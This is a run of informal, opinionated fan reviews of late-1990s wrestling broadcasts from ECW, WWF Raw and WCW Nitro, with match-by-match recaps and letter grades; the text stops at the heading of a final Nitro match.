Spike’s offense was more or less comprised of nothing but bumping and the Acid Drop. Oh and the occasional forearm. We’re on the floor already and Spike hits a chair shot off the top. Spike takes a short beating but then an Acid Drop ends it.

Rating: N/A. More of a long brawl than a match. Just a thing to kill time before we get to the, ahem, real stuff.

And the FBI hit the ring almost immediately and pound on Spike. Nova comes out to beat various people up as we hear about how much people imitate him. Nova is more commonly known as Simon Dean in case you didn’t know that. This is a match I think.

Nova vs. Little Guido

No clue when this actually started but whatever. Cyrus says Guido has one fatal flaw and them naturally lists two things. Guido more or less goes to the top with his back to Nova and stands there. He doesn’t get ready to do anything. He doesn’t look around or anything like that. He just stands there and gets low blowed. This leads to a Samoan Drop from the top.

 

It should be noted that 90% of Joey’s commentary here is talking about how no one comes up with more moves than Nova and how he’s the real “Innovator of Offense”, which was Kanyon’s nickname at the time. Literally as he’s saying that, Nova uses the Samoan Drop from the top, which was Kanyon’s finisher like two years before this. That’s just amusing.

 

Big Sal comes in and Nova beats him up pretty easily. A Tomakaze (Unprettier) ends it. Post match they beat up Nova some more but Chris Chetti comes back to make the save. Danny Doring and Roadkill come out and beat up Chetti. This is the biggest mess of a show I’ve ever seen. Roadkill does hit a GREAT splash from the top rope.

Rating: D. Short but long enough to be an actual grade, but still this was just bad. Half of the match was just the announcers complaining about Nova being copied by so many people. This was short and not very good though. And what a shock, more filler on an ECW PPV that means nothing at all.

Super Crazy vs. Tajiri vs. Jerry Lynn

None of those guys were announced. I just knew them once Joey said Extreme Three Way Dance. And I’m completely right. That’s not a good sign. Like not a good sign AT ALL. Did Jack Victory ever actually do anything? Tajiri has Corino and Victory with him here. Seriously I still can’t get over how different Corino used to look. He looks like Richards almost.

 

Corino runs down Crazy and Lynn, pointing out how many times he’s beaten Crazy. Yeah that’s a great thing to point out: we know you’ve seen this a bunch but just watch it again! Also, great to see Jerry this far down on the card and in a totally pointless match. Lynn and Crazy start us off and do perhaps the fastest sequence I have ever seen. I mean they were FLYING out there.

 

Both guys get Tarantulas. And of course we go to the crowd. Crazy…kind of hits a huge moonsault from a balcony. I emphasize the words kind of. Sweet goodness Lynn and Crazy are fast. Lynn hits the Cradle Piledriver on Crazy but for some reason Tajiri makes the save. That doesn’t make much sense. Ah ok he wants to use the Brainbuster to get the elimination himself. That makes sense in a way.

 

In a smart moment Tajiri reverses a tombstone but turns it into a backbreaker because Lynn has bad ribs. Smart. I love smart wrestlers. Tajiri goes for them again but he just absorbs them all and is like come here and piledrives him for the pin. He beats up Corino afterwards.

Rating: B-. Fast paced and fun, but I ask this: what does this prove? I mean seriously, it’s ANOTHER cruiserweight threeway. Good for them. What are they actually getting out of this? It makes no sense but whatever as it’s probably the best wrestling we’ll get all night.

We talk about Da Baldies who are the new Italian gang.

We see Angel using a staplegun on New Jack’s eye.

Da Baldies vs. Axl Rotten/Balls Mahoney/New Jack

Let’s get this over with. There are four Baldies: Spanish Angel, DeVito, PN News and Vito. Vito is the same Vito from WCW and WWE. You might remember him for wearing a dress. Naturally it’s a lot of punching and chairs and no New Jack yet. Ah here he is. There goes any quality the show had going for it. Seriously, why am I watching a guy slam a vacuum into a keyboard over a guy’s balls?

 

Rotten goes and gets a ladder for no apparent reason other than I guess he didn’t get beaten up enough already. New Jack goes to help him. This is all going on which their partner is getting the heck beaten out of him. Jack climbs up behind a banner which is covering a basketball backboard.

 

Yep he dives off of it. I still don’t care about him. New Jack busts Vito over the head with an SNES. Ok then. Vito’s head get his head stapled. And a guitar is cracked over New Jack’s head for the pin.

Rating: F+. Seriously, am I supposed to be impressed or to care or something? It’s the same idiotic brawling and mindless violence that it always is. Is there supposed to be a point to anything like this? Again, New Jack is the epitome of everything that was wrong with ECW.

Alfonso says Sabu is going to go do what he does best. This is a really different kind of promo. He’s fighting Candido. Apparently his best friend died. Not sure who Ticho is.

Chris Candido vs. Sabu

Yep she still looks great. They had been in WCW for awhile and no one cared so here they are again. If Sabu is suicidal, why is he still alive? We get a punching contest to start and Cyrus gets a creepy line. “These are two guys that would probably die without the wrestling business.” For those that don’t know, Candido died after breaking his leg at a TNA PPV. There was a blood clot or something like that.

 

The fans want tables, but I hope we don’t get them. When Sabu doesn’t do all kinds of crazy stuff with weapons etc, he’s far more bearable. And just as I say that we get a chair. Yep it’s table time. I guess it was inevitable. Surprisingly it’s just used as a platform and no one goes through it. Well so far at least. If they save it for the end or something like that, I can live with that relatively easily.

 

Table is in the ring. This isn’t much so far but it’s more of a slow build which is fine. Candido goes through a table as he misses Sabu. Sabu gets the camel clutch but only with one arm up as the fans chant show your chest. And that’s why the crowds get annoying. Sabu jumps into the crowd and you still can’t see the impact. Why would that be important though?

 

Sweet merciful goodness ECW’s camera work was awful. While the weapons have been used here, they haven’t been the focal point of the match. Sabu hooks the camel clutch for like the third time in the match. I like that as it’s constantly weakening the back. Candido goes through his second table but it just gets two. This is ok but it’s just not that interesting.

 

There’s something missing from it which is hard to put into words. Candido’s power bombs were always decent. Candido looks pretty sharp here but the idea that he never went to WCW is kind of amusing to me. The problem is that Candido is running out of stuff to do so he’s starting to repeat stuff.

 

In a STUPID looking spot, Candido is put on a table but Sunny (yes I know her name is Tammy) goes for the save. Alfonso grabs her and Candido saves her. Then, with no one on the table, he leans over it so Sabu can dive on him. Looked stupid. After an Arabian Facebuster to the back, a camel clutch ends it.

Rating: C+. Not terrible or anything here but there was just something missing from it. It worked as well as it could have I think. Sabu toned things down here to an extent and it worked far better. Candido was a guy that was always solidly in the midcard but never jumped above it. Either way though, this was ok.

Tanaka says he’ll win. This was stupid.

Awesome says he’ll win. This was just bad.

The announcers talk about the world title match and about how Tanaka has the advantage over Awesome.

We see a segment from earlier with Heyman where everyone gets fired. Ah it’s not Paul. It’s Lou E. Dangerously, more commonly known as Sign Guy Dudley. This would have been funnier had the main event introductions not have been heard in the background.

ECW World Title: Masato Tanaka vs. Mike Awesome

This is always fun. Joey tells us to keep our eye on Tanaka. It’s a bit hard to do that given how bad the camera stuff is. Tanaka hits his running chair shot which is always a nice shot. Awesome busts out a Taker Dive that looked great. Joey tries to make fun of Hogan by saying he never leaves his feet anymore. When did he do that in the first place? Cyrus busts out the word troglodytes. That’s my boy.

 

Awesome hits an INSANE chair shot from the top rope and it doesn’t even put Tanaka down. WOW. They just start crashing each other’s heads in with the chair and it looks great. These matches would go so far beyond ridiculous that they were awesome. Tornado DDT on the chair gets two. Awesome counters the second one though to stay alive.

 

Awesome hits more or less a Batista Bomb from the apron through a table to the floor. See what I’m talking about? Holy crap is very accurate here. Naturally it only gets two. Back in, Tanaka gets a superplex through the table. Nice one too. Diamond Dust, a Dragon Sleeper from the second rope flipped over into a Stunner doesn’t even get a cover. Uh, any reason why not? A HUGE Awesome Splash gets two. The kickouts here are amusing. FINALLY a superbomb from the top ends it.

Rating: B+. Again, this is a different kind of match. These are designed to be closer to a Japanese strong style and it works very well. At the end it’s nothing but finishers and big power moves and it’s pure fun. Again, you flat out can’t take this one seriously and you absolutely shouldn’t. Pure fun and they work every time.

TV Title: Taz vs. Rob Van Dam

Oh Paulie. My sweet little Paulie. If this had been about a year earlier and for the world title and not the TV Title, you could have legitimately been around another year or even two. THIS was the money match that he just totally passed on because Shane just HAD to carry the belt an extra six months while Taz killed the rest of the roster.

 

RVD is of course the most over guy in the company so he never won the world title. Brilliant indeed Paul. But he, we got that Justin Credible run that we all were begging for right? They build it up as a clash of the titans even though there is NO WAY Taz is winning here. This is as much of a slam dunk as you could ask for.

 

Taz’s accomplishment takes forever to list off. Again, why not jump Van Dam when he’s doing his intros? They flat out say Taz is going to New York after this. Seriously, what’s the point to having this? They do a long back and forth segment to start and RVD poses. We get a LOT of strikes so far. It’s kind of dull but not bad I guess. Van Dam is REALLY BAD at whispering spots to Taz. It’s kind of pathetic.

 

We brawl on the floor for a bit and this whole thing is just lacking. They’re just going through the motions and it’s really obvious. Taz sets a table in the corner. We get some really bad looking stuff in an attempt at the Van Daminator and RVD gets suplexed through the table. Can you feel my enthusiasm here? Van Daminator hits from the top.

 

Good thing Taz put the chair in front of his face like he did or that wouldn’t have worked. Taz goes for a head and arms suplex off the top and Van Dam just falls off the top. Nothing more than that: he just fell. I guess everybody screws up now and then, but the match sucking isn’t helping. Five Star ends it with no drama anywhere in sight.

Rating: D. Seriously, this was boring. It should have headlined the biggest show ever for the company and have gotten RVD the world title but instead it’s another defense for RVD in a match with zero heat on it because no one believed Taz would win. The match was just bad too with blown spots and contrived looking stuff all over the place. Not the worst match ever, but completely underwhelming on all levels. The bad grade is more for the disappointment than anything else.

With NO transition, it’s main event time.

Rhyno/Justin Credible/Lance Storm vs. Sandman/Tommy Dreamer/Raven

Literally, we see RVD celebrating and then Rhyno’s music is playing. At least we get to look at Dawn Marie. Francine comes out in a bikini. Ok then. Raven and Dreamer are tag champions at this point. Sandman’s entrance effectively kills five minutes of the show. Why is this a big match? Not important. Why are they fighting? Not important. Why are these people teaming together? Not important.

 

Actually, I don’t think any of these feuds/matches have been explained. Not important I guess. So with like 5 minutes, the heels don’t bother jumping Raven and Dreamer at all. Brilliant there guys. It’s a good sign when you can walk around for the length of Enter Sandman. We’re already past the prayer. Tommy has a case around hits elbow. Wasn’t he supposed to retire?

 

We kill more time by doing entrances. Seriously nearly fifteen minutes have passed since the end of the previous match. Hey it’s a bell and we’re going to get a match! Sandman vs. Rhyno start us off since Justin makes a fast tag when he sees who is starting for the faces. And we stall. Raven won’t tag Dreamer. The showdown here is Sandman vs. Credible but we don’t get it yet due to Credible running.

 

Credible had allegedly run Sandman out of ECW to WCW where he sucked for the most part. We actually have something close to a wrestling match for a little bit. You can tell this is the super show. Storm vs. Sandman is a weird pairing to say the least. I’m not sure if Rhyno had the Gore or not yet. Raven punches Dreamer to get the hot tag.

 

Apparently he does have the Gore as he uses a bad one on Raven. Yep it’s a big brawl. They lasted all of 7 minutes without one. That has to be a record for a main event here. DDT to Credible gets two. Raven and Dreamer working together is weird and just as I say that Raven drop toe holds him into a chair. NOW THAT’S MORE LIKE IT! The Gore hits Storm and Sandman has a cane.

 

The girls go at it for a bit. Dawn isn’t wearing underwear. Nice. Raven possibly accidentally canes Sandman and Credible hits the Tombstone for the pin. Raven didn’t make the save though. That’s how it ends? Also Joey is SHOCKED that Raven would be a heel. Uh why? That’s the end of the show mind you. Well that and the 4 minutes of highlights. Show ended after two and a half hours for all intents and purposes.

Rating: F+. This is the main event of the biggest show of the year and it doesn’t even break ten minutes? This felt like a total filler match and nothing more. Does this actually change anything? Raven is a bad guy. Is this supposed to be like surprising or something? Seriously, why was this on last? With RVD and Taz at least it would have felt huge. This feels like just another match. I have no idea what Heyman was thinking back then, but it couldn’t have been coherent.

OverallRating: D. Again, how in the world is this supposed to be the main show of the year? It felt like it was missing about thirty minutes. The opening half hour is a massive mess and Taz being ticked off, the two more hardcore matches are forgettable at their best with Sabu and Candido being ok at best, the title matches had nothing of note at all, and the main event was entirely lackluster.

 

Tell me: what is different after this show? Nothing at all has changed. Tanaka would take the title from Awesome around Christmas on television only to drop it back six days later. This show is just totally lacking any kind of special feeling to it and it would for any kind of PPV, not just a mega show like this. Take a pass here, but it’s not terrible I guess.

 

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ECW on TNN – October 29, 1999: They’re Getting Close To Getting This Right

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Date: October 29, 2006
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Attendance: 2,500
Commentators: Joey Styles, Joel Gertner

After the theme song, Joel and Joey do their usual intro.

Taz vs. Sabu

Rating: C-. Not a terrible match here and I liked it better than their Barely Legal match. This is one of those matches where the history was there (not that ECW would ever give that history to you) so the fans were automatically going to care about it. The ending was a little lackluster, but Taz was on his way out so it made sense for him to go out on his back.

We get a clip from Hardcore TV with Lou E. Dangerously bringing back Mikey Whipwreck who got destroyed by Mike Awesome.

Lance Storm vs. Tommy Dreamer

A middle rope elbow misses Storm completely and hits the ladder which had to freaking HURT. They head back in and Storm is in complete control. And scratch that as Dreamer whips him into the ladder and hits the Dreamer Driver for two. The girls get in and break it up with a catfight, allowing Raven to run in and DDT Dreamer so Storm can get the pin.

The Impact Players beat down Raven as well until Dreamer makes the save.

We recap the whole Dreamer/Raven vs. Impact Players feud.

Raven yells at Dreamer, saying that Tommy is a leech and a degenerate. For some reason Dreamer stands there and lets Raven beat him up before Tommy DDTs him and yells a lot.

Nova/David Cash vs. The Baldies

No match as Doring/Roadkill jump Nova while the Baldies beat up Cash. Balls Mahoney and Axl Rotten make the save for no apparent reason. They argue over hitting Lita with a chair but Jazz comes out and does it for them.

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Monday Night Raw – May 3, 1999: The Corporate Ministry

Monday Night Raw
Date: May 3, 1999
Location: Valley View Casino Center, San Diego, California
Attendance: 10,177
Commentators: Jim Ross, Jerry Lawler

This is another request but I’m not sure why. The main event is Rock vs. Austin so I’m guessing that’s why. However there’s something else on this show which is made of awesome so maybe that’s it. We’re about eight days removed from Backlash where Austin held the title from the Rock in their much better rematch. The next show is Over the Edge, which is the Owen Hart show. Let’s get to it.

We open with a clip from I assume last week where Vince and Shane got in their first real fight. Austin Stunned Shane and left both of them laying. I don’t think I can really tell what’s going on here with just this package. We hear about something on Heat where a bunch of guys got laid out. Ok now I know where this is going.

Here’s the Corporate Ministry whose numbers might rival the NWO. They formed on the pilot episode of Smackdown a few days ago. Shane is their leader and gets in some jabs at the audience. He wants to know how many of the falls would have the balls to slap their father in the face. HHH makes fun of Rock because that feud hadn’t been done recently I guess. They’re fighting at Over the Edge and HHH doesn’t get why the people care about him. Is it because of the eyebrow thing?

Austin is on top of Undertaker’s list, but don’t worry because he still hates everyone. He tries to save everyone but Undertaker will be his executioner at Over the Edge. First he’s going to take the title and then he’s going to give Austin a beating like never before. Then next week on Raw, Austin will be the ultimate sacrifice to the greater power. Shane reminds us that he’ll be guest referee for that match. As for Vince, he has two hours to get out here.

On the stage though we have Mankind, Shamrock, Test and Big Show, all armed with 2x4s. These would be the bunch of guys that got beaten down as earlier mentioned. Mankind says that they’ve formed a union. He complains about the lack of pay and says they’ll have Shane’s testicles or something. The Union comes to the ring and cleans house.

We get a clip of Billy (debuting a certain theme song tonight) beating up X-Pac last night on Heat.

Billy Gunn vs. X-Pac

An angry Pac goes right after him with his usual assortment of kicks. Gunn hits his version of the Jackhammer out of the corner to take over for two and we’re in the chinlock a minute into this. That’s a sign of a short match. Thankfully it doesn’t last long so Pac gets slammed twice (gorilla/power respectively) but they collide coming out of the corner. Pac kicks him down a few times and loads up the Bronco Buster but lands on a boot. Fameasser and we’re done quick. Nothing match, but you don’t get a new song and lose.

Billy keeps beating on him but Road Dogg makes the save, followed by Kane of all people taking Pac to the back.

Shane is yelling in his office about the Union going down.

Here’s the Corporate Ministry again. Shane says he’s made some changes for tonight’s show. Before he can say anything, we cut to the back where Linda, Stephanie and Vince are arriving. Shane doesn’t seem to have seen them. Back in the arena we hear about a four corners match: Viscera vs. Bossman vs. Mideon vs. Test. All are Corporate Ministry other than Test.

Also tonight, Mankind has a hardcore match with the Acolytes. HHH is going to get Shamrock. That should be good. Oh and Chyna is guest referee. As for the Mean Street Posse, they get Patterson and Brisco. THAT is the match I was talking about earlier as I can almost guarantee it’s going to make me smile. Finally, we’re getting Undertaker vs. Big Show. There’s also going to be an evening gown match between Sable and Debra. The rest of the McMahons and Patterson are watching in the back.

HHH whispers in Shane’s ear and Shane says that tonight: Rock vs. Austin. That’s quite a main event. HHH says that’s not big enough so let’s make it a lumberjack match with the Corporate Ministry as the lumberjacks. There’s one spot left but before Shane can talk about it, here’s Vince. Stephanie and Linda flanked by cops come out behind him but Vince doesn’t see them until after they’re here. Vince says chill but Shane says he hasn’t even started yet.

Vince says Shane is about to make a big mistake and to think before he does this. Shane challenges his dad to a fight and imagine the box office if it happens. He keeps goading Vince on and Vince says no. Vince hopes Shane will listen to Linda, but Shane tells her to shut up. That’s enough for Vince but he’s surrounded. The rest of the McMahons leave and Shane admits that he was the mastermind behind Stephanie’s abduction and all the terror that Undertaker had caused so that Vince would step down and Shane could take over.

He opened the door for Undertaker and gave him the bear and took the pictures. Shane picked out the wedding dress for the Black Wedding (one of my favorite moments ever, but MAN this stuff is out there in retrospect). That last line gets Vince to charge but he gets beaten down. After the Corporate Ministry leaves, Vince says he’ll fight Shane.

Post break the female McMahons try to talk Vince out of it but he sends them to a hotel.

Pat Patterson/Gerald Brisco vs. Mean Street Posse

Dang it this isn’t the right show! This isn’t a match, but rather a fight as the old guys beat the tar out of the Posse and whip them with belts until the Posse runs. I’m not sure the match ever actually started. The rematch the following week though was all kinds of fun and is well worth checking out.

Shane is talking to the Ministry (I’m not writing Corporate every time) and they walk somewhere. Something about offices is mentioned.

Test vs. Mideon vs. Viscera vs. Big Bossman

Officially this is a four corners match. They have to tag though so it’s Test starting with Bossman. It never would have happened but it would have been hilarious to see Test start on the apron and say you guys go ahead. Bossman hits a corner clothesline and a shot to the back of the head to take Test down.

Exam comes back with a backdrop but gets sent into the corner to fight Viscera. Big Visc gets a splash in the corner but Test’s boot staggers him. Test goes after Mideon and walks into a belly to belly fro Viscera. Mideon comes in now and things slow way down. Bossman throws in the nightstick and Test clocks Mideon with it for the pin.

Rating: D. Whatever here as it was pretty clear this would end in either a big brawl or with Test getting a fluke win. The match didn’t go anywhere because Test was somehow even worse than his later time here. The Ministry guys were exactly what you would expect them to be here, so they were boring.

The Union stops a beatdown post match.

Undertaker and Bearer leave Vince’s office and we see Vince down on the ground. That’s a Russo trademark: beatdowns that we only see the end of.

Vince McMahon vs. Shane McMahon

Shane talks some trash before Vince staggers out. Vince falls while coming down the ramp and Shane clotheslines him. Shane throws him in and we get a bell. Bronco Buster hits Vince and Shane talks some trash. Vince hits a clothesline and a Stunner out of nowhere for the pin. This was like 90 seconds from bell to bell.

Mankind vs. Acolytes

Hardcore match. Mankind has his 2×4 and goes after Farrooq with it but Bradshaw pops him with a conveniently placed snow shovel and we head outside. The numbers are catching up with Mankind and we go back inside quickly. More beating follows but a Foley chant lets him hit a double clothesline. That of course doesn’t last long and we head back outside. This is moving fast again.

Foley goes into various objects and Farrooq pounds on him. A low blow gets him a break and he fires off some bell and trashcan shots on both guys. Back inside and Foley gets two and a chair shot, in that order. After some heel miscommunication the Claw goes on Farrooq but Bradshaw breaks it up and a double powerbomb onto some chairs ends this.

Rating: D+. Not much here but there wasn’t really a way to have Foley win this and make it look reasonable. That’s one of the benefits of the Attitude Era: people didn’t overcome ridiculous odds most of the time and it kept things a bit more reasonable than it gets today. Now that being said, the rest of the era was insane but that was always a perk.

Ken Shamrock vs. HHH

Chyna is guest referee. HHH has a theme here which only lasted for a few weeks. Shamrock takes him to the mat with a quick armbar and pounds on the arm but HHH goes to the eye. Now why didn’t he do that to Lesnar? Shamrock goes back to the arm which apparently is to set up the ankle lock. He tries a rana but gets countered into a powerbomb as HHH takes over.

Chyna is checking her nails as HHH chokes on Shamrock. High knee gets a quick two count from Chyna. Shamrock grabs a leg lace but Chyna rakes his eyes to break it up. HHH hits Shamrock low to take over again as Lawler talks about the evening gown match and we get a YAHOO! Shamrock comes back with his spinning elbow and a dropkick for no count. He counters the Pedigree into an ankle lock but Chyna drags HHH to the ropes. Ken goes to suplex Chyna but HHH makes the save. Low blow sets up the Pedigree for the pin.

Rating: C-. This was about what you would expect but it wasn’t bad. Shamrock would drop down the card over the summer and would be gone by the fall, after feuding with some new guy named Jericho. Anyway, not a bad match here but the Chyna interference was a story we’ve seen before. It (and those shorts) worked though.

Undertaker vs. Big Show

The first meeting of many. Taker punches him into the corner to start but stops to stare at the referee. Taker charges at him and gets caught in a bearhug. He gets sent to the floor where Bearer puts something on his elbow pad. Apparently it’s ether, which JR and Lawler can smell from 20 feet and if you listen to them, the fans are noticing it too. Naturally, Show can’t smell it because he’s only two feet away. Show gets choked down but flips Taker off (his back) anyway. Taker BREAKS A BASEBALL BAT over Show’s head for the quick DQ. This was an angle, not really a match.

Taker yells at Show while he’s out cold. That bat shot looked GREAT.

Debra vs. Sable

Evening gown match. Sable pops up on screen but says she’s at the Playboy Mansion so she has a stunt double.

Debra vs. Nicole Bass

Bass is about 6’2 and build like Chyna. Debra strips and loses on her own. Bass chokes her until Jarrett comes out with the guitar. Val comes out and carries Debra off, which continues a WEIRD love story. I wrote about it for Over The Edge or Backlash. Look it up.

Post break, Jarrett beats up Val in the back.

Steve Austin vs. The Rock

That’s something you don’t see every day. It’s a lumberjack match and the Ministry will be on the floor. The bell rings and the lumberjacks get on the apron. Rock and Austin never made any contact so yeah it’s a big swerve and the beatdown begins. Vince sends out the Union and some other midcard guys to run off the Ministry. HHH and Undertaker stay behind at ringside as Austin beats Mideon under the stage.

Rock gets punched up the ramp and Austin comes up to make the save. Austin and Taker fight to the elevator that the Brood uses and go under the stage. Rock fights back and Austin returns, only to accidentally knock HHH into Rock, sending him off the stage (it wasn’t a big fall and he didn’t hit the floor). Undertaker LAUNCHES Austin off the stage and through two tables to end the show.

Overall Rating: C+. This is one of those shows where you would be able to figure out what you thought of it a few days later. It flew by but it was one of those “this is all you get so deal with it” shows. Also the bait and switch ending was annoying as the bells were at most 15 seconds apart. Still though, this was about making the Corporate Ministry look strong and it did that, but I’m not sure on bringing in the Union so soon. Entertaining show, but I don’t know if I’d call it good.

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Monday Nitro – March 8, 1999: This Company’s Soul Has Died

Monday Nitro
Date: March 8, 1999
Location: DCU Center, Worcester, Massachusetts
Attendance: 9,400
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan, Larry Zbyszko

This is another request and the ultra rare Nitro request on top of that. This show is another three hour show from WCW and the first hour is considered one of the worst hours of wrestling TV ever. This is also the go home show for Uncensored which has a main event of Hogan vs. Flair. There’s some innovative thinking. Let’s get to it.

We open with a video of the special cage (the Cell) being built for the main event on Sunday.

We get a clip from Thunder with Arn Anderson talking to Flair, trying to console him about David Flair turning on his dad. Flair talks about how he’s got Hogan to worry about so he can’t worry about David right now. It’s David’s responsibility and that’s not Ric’s problem anymore. Anderson says that David is young and making mistakes. Ric says that’s not his problem right now. He says the Horsemen are back on top if he wins the title. Anderson says he hopes this is just a game face and that he really is concerned. Flair basically says screw that, it’s my time. Anderson doesn’t like it. This goes on for like seven minutes.

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The Nitro Girls are in Rhode Island at some kind of Nitro Party with competitions and such.

We go to a live Nitro Party in Providence, Rhode Island. They’re at a university apparently. There’s a spring break special and a guy here (last name Kazarian) won a trip to it.

We get introduced to Nitro Girl AC Jazz and see one of their practices.

Hogan talks about how everyone hates him but he did it for the money or something. This is tied into David Flair joining the NWO. Ric is only obsessed with the belt and power and doesn’t care at all about his son bailing. Hogan would NEVER do that but he’s willing to give Flair another shot, but he wants Flair’s career vs. the title. This also runs 5 minutes.

We’re over 20 minutes into this show and we haven’t seen the arena yet.

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Back to the Nitro Party after a presumed commercial. Konnan is at the party too.

Here’s a Konnan rap video to make sure we don’t get any wrestling.

Another NWO video, this one of Hogan and Nash watching a Flair promo. It’s basically them riffing on him as Flair talks about coming back to WCW and seeing his son leave him for the NWO. Hogan and Nash make Buddy Landell jokes that maybe 2% of the audience will get. The NWO says they’ll regroup.

Video on Lex Luger.

Scott Steiner is pulled over while driving a Hummer limo. The cops recognize him and Bagwell……and make them cops. We get a montage of them “stopping crimes” after starting them in the first place while calling each other Starsky and Hutch.

Back to the party with the girls dancing. Kidman is there now and thinks Mysterio can beat Nash.

Video on Mysterio. The NWO took his mask so this Sunday he can get revenge.

Torrie Wilson is shooting a gun at a shooting range when Hogan and Nash come in. They go in to see her and the camera would be right in the path of her bullets. The guys suggest she sleep with David to get him back on their side. They plan to meet for dinner later.

45 minutes in, no arena yet. Keep in mind that this was the hour they had unopposed by Raw. Raw would be having the final push to Mania 15, meaning Austin vs. Rock/McMahon. AND THIS IS WHAT THEY GIVE US. Is anyone surprised they went out of business?

And uh, here’s the dinner. They talk about destroying Ric Flair and plan about David.

See, apparently at this point there were four dark matches going on in the arena. We’re getting this hour of stuff instead. Looking at the card though, this might be more entertaining. Looking at Torrie Wilson with a dress that comes to her upper thigh is never a problem. She says there’s another hot girl she knows. The girl is some chick named Denise who I don’t recognize. Her last name is Robinson, meaning we get Graduate jokes. Apparently she’ll get 20 grand for taking care of David.  That’s quite the offer.

Now we get the theme song. SO WHAT WAS THAT FIRST HOUR???

We go to the arena…for an interview. Well of course we do. Gene calls out Goldberg for a chat but we get Torrie and David instead. David wants to talk to Ric man to man tonight. Goldberg’s music hits….and we take a break. Back with Goldberg in the ring, talking to David about respect. He isn’t going to take care of things like he usually would. That’s good. It might be entertaining.

David needs to respect what his father has done for the business because it’s more than David and his friends could ever do. David also needs to respect Goldberg because this is his time. David shoves him and gets choked, so here comes Ric. Flair sprints down and chops Goldberg once before turning to David, who is running away. Press slam to Ric (who is president at this point) and Naitch is in trouble. Flair makes Goldberg vs. himself tonight. Goldberg says Flair is crossing the line so Flair yells some more.

ANOTHER commercial.

Raven vs. Hak

Falls count anywhere. Neither gets an entrance. Raven has a chair and Hak (Sandman) has a cane, but as the bell rings….they hug. Oh never mind as Raven pounds him down almost immediately. HARD cane shot to Hak’s head and they head to the floor. Bam Bam Bigelow will join these two at Uncensored in a triangle match. Hak puts him on the guardrail and hits a leg to the back ala RVD minus the spin.

They go up the ramp with Raven hitting a suplex onto the steel. Bird Boy busts out a table on the stage. He climbs the scaffolding to put Hak through it and here’s Bigelow, who isn’t in the match. He beats up Hak anyway as the fans chant for Goldberg. The bell rings and I guess the match is thrown out to HUGE booing.

Rating: D+. This was stupid. I guess they were previewing the PPV match but it didn’t make me want to see it. Also it’s Raven’s Rules so how can that be a DQ? Stupid match with a stupid ending. The table spot and the cane shot weren’t bad, but what was the point of this?

Apparently the bell was inadvertent so we’re going to continue this in the same match we’ll see on Sunday. Great.

Hak vs. Raven vs. Bam Bam Bigelow

They’re fighting in the back with Hak being thrown all over the place. Hak comes back and fights up to an ambulance. Here’s Raven again and it’s just random brawling. There’s a trash cart and Hak goes for a ride in it. They fight over to Flair’s limo and Raven DDTs Hak on the hood, only to get crushed by Bigelow.

He hits Raven in the groin on the hood and they’re all exhausted. They keep beating on each other and you can hear the boring chants. The problem here is they’re just laying around, doing a spot, then laying around more. They all just walk away to end it. No rating because it wasn’t really a match, but this was STUPID.

Now we get clips of the three guys fighting last week. Ok then.

Lizmark Jr. vs. Chris Jericho

Jericho (WITH RALPHUS!) comes out wearing a dog collar. Jericho grabs the mic and welcomes us to Monday Night Jericho. Tony: “Hey we’re talking here fellow!” Chris wants to talk about Perry Saturn, who has challenged Jericho to a chain match on Sunday. Jericho is a master of the chain match though, after training on mountain tops in Nepal. He’s a Swami you see. This match is going to be a chain match. Tony: “There’s been too much talk and not enough wrestling here.” I think I just died because of that line.

The bell rings so let’s talk about Flair some more. I think you win by pin or submission here. Jericho steps on the chain to pull Lizmark in to start and chokes with it. He wraps the chain around the knee and drops it in a unique spot. Lizmark gets tied up with the chain as Tony talks about the chain match at Starrcade 83. Can we watch that instead? It’s a MUCH better match than anything that’ll be on this show. Lizmark chokes him a bit but walks into a kind of spinebuster and the Liontamer for the tap.

Rating: D+. There were some nice moves in this from Jericho but it was just a squash. Jericho has said he had more or less made up his mind that he was gone soon after this and in fact he would be in the WWF by I believe August, where things would go MUCH better for him. Lizmark never quite meant much in WCW.

Here’s Steiner to say he’s well built and all that. The fans are all fat. Buff Bagwell says Booker is too stupid to back out of the match tonight.

TV Title: Scott Steiner vs. Booker T

Steiner is TV Champion. The announcers talk about how great the NWO has been at what they’ve done. We’re two and a half years into the plan so far and it still hasn’t worked but whatever. Feeling out process to start and Booker hits a spinning forearm for two. A hook kick knocks Steiner to the floor and Tony complains about Steiner taking a break. Larry goes into some weird environmental speech about breathing clean air before Tony cuts him off.

Back in the ring and Booker rams him into the corner a few times before Scott kicks him low to take over. Out to the floor again and we get a steroids chant. We take a break and come back with Booker hitting a forearm for one but getting taken down by a clothesline. Spinning belly to belly puts Booker down and Steiner keeps pounding away at the back. He pounds Booker down in the corner with punches and gets two off a backbreaker.

Steiner keeps up the power with a slam and chokes Booker in the Tree of Woe. Booker escapes another slam and hits a neckbreaker to break up Steiner’s momentum just for a second. Ax kick out of nowhere puts Steiner down and there’s the Spinarooni. Booker goes up but gets crotched by Bagwell. There’s the Recliner and Booker’s arm drops twice. He holds it up for the third drop so Steiner drops him….which counts as the third arm drop and Steiner wins by knockout. At least it’s over.

Rating: C-. Not a horrible match here but Steiner just wasn’t over yet. That didn’t stop the company from shoving him down our throats of course but when did it ever? Bagwell was beyond annoying here and did the match no favors. Still though, it was nice to see a match get some time as opposed to what you were expecting with Raw at this time.

Steiner hits Booker in the back with a chair post match.

We see the Flair vs. Goldberg showdown earlier.

The Nitro Girls dance as Tony talks about upcoming house shows (his words).

Jerry Flynn gets promo time for some reason. Before he talks, Sonny Onoo (one of his opponents on Sunday and minus his accent) comes up but Jerry grabs him by the shirt. Ernest Miller, the other opponent, kicks Flynn in the back of the head and they cut off his mullet.

Scott Norton vs. Rey Mysterio

I think you get the idea here as Mysterio has Nash on Sunday. Norton is looking old here. Rey gets knocked to the floor and is holding his back. There isn’t much to say at all here. Mysterio charges at Norton, Norton knocks him down, Rey lays around a lot, Norton hits him some more, Rey charges at Norton and we repeat it again.

Norton throws him out to the floor and Rey’s back is hurt. Rey counters the shoulderbreaker but gets dropped on the buckle to stop the comeback. Norton kills him with a clothesline but picks him up. He does the same off a one handed press slam. Ok that was cool. Then Rey kicks him low and a fast count pins Norton. Seriously, that’s it.

Rating: F. What in the world did this accomplish? Rey looks like a ragdoll, Norton looks like an idiot, I have no reason to believe Rey can beat Nash fairly or have a chance against him, and the match was boring because Norton did little more than stand around the whole time. What was this supposed to accomplish?

More Nitro Girls.

The same cage building video from earlier is shown.

Van Hammer vs. Bret Hart

